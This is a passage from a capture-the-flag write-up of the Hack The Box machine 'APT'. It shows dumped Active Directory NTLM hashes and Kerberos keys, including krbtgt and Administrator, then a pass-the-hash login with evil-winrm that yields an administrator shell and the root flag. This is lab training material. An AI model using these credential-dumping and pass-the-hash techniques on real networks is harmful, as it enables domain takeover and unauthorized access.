henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:72f9fc8f3cd23768be8d37876d459ef09ab591a729924898e5d9b3c14db057e3
Administrator:aes128-cts-hmac-sha1-96:a3b0c1332eee9a89a2aada1bf8fd9413
Administrator:des-cbc-md5:0816d9d052239b8a
krbtgt:aes256-cts-hmac-sha1-96:b63635342a6d3dce76fcbca203f92da46be6cdd99c67eb233d0aaaaaa40914bb
krbtgt:aes128-cts-hmac-sha1-96:7735d98abc187848119416e08936799b
krbtgt:des-cbc-md5:f8c26238c2d976bf
henry.vinson:aes256-cts-hmac-sha1-96:63b23a7fd3df2f0add1e62ef85ea4c6c8dc79bb8d6a430ab3a1ef6994d1a99e2
henry.vinson:aes128-cts-hmac-sha1-96:0a55e9f5b1f7f28aef9b7792124af9af
henry.vinson:des-cbc-md5:73b6f71cae264fad
henry.vinson_adm:aes256-cts-hmac-sha1-96:f2299c6484e5af8e8c81777eaece865d54a499a2446ba2792c1089407425c3f4
henry.vinson_adm:aes128-cts-hmac-sha1-96:3d70c66c8a8635bdf70edf2f6062165b
henry.vinson_adm:des-cbc-md5:5df8682c8c07a179
APT$:aes256-cts-hmac-sha1-96:4c318c89595e1e3f2c608f3df56a091ecedc220be7b263f7269c412325930454
APT$:aes128-cts-hmac-sha1-96:bf1c1795c63ab278384f2ee1169872d9
APT$:des-cbc-md5:76c45245f104a4bf
[*] Cleaning up...
```

31. **Let's pwn the box with *another evil-winrm shell* and the correct hash**

    1. `$ evil-winrm -i apt -u 'Administrator' -H 'c370bddf384a691d811ff3495e8a72e2'`
    2. **PWNED**

32. **We finally pwned the box apt on HTB. It was a very difficult box even with the walk through. You have to have a high skill level to even think about doing this box without any help just using google, but it is possible.**

```
~/hackthebox/apt ▷ evil-winrm -i apt -u 'Administrator' -H 'c370bddf384a691d811ff3495e8a72e2'
  ....................................
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
78054b5d32e76e61fb7198f9661e8af8
```

33.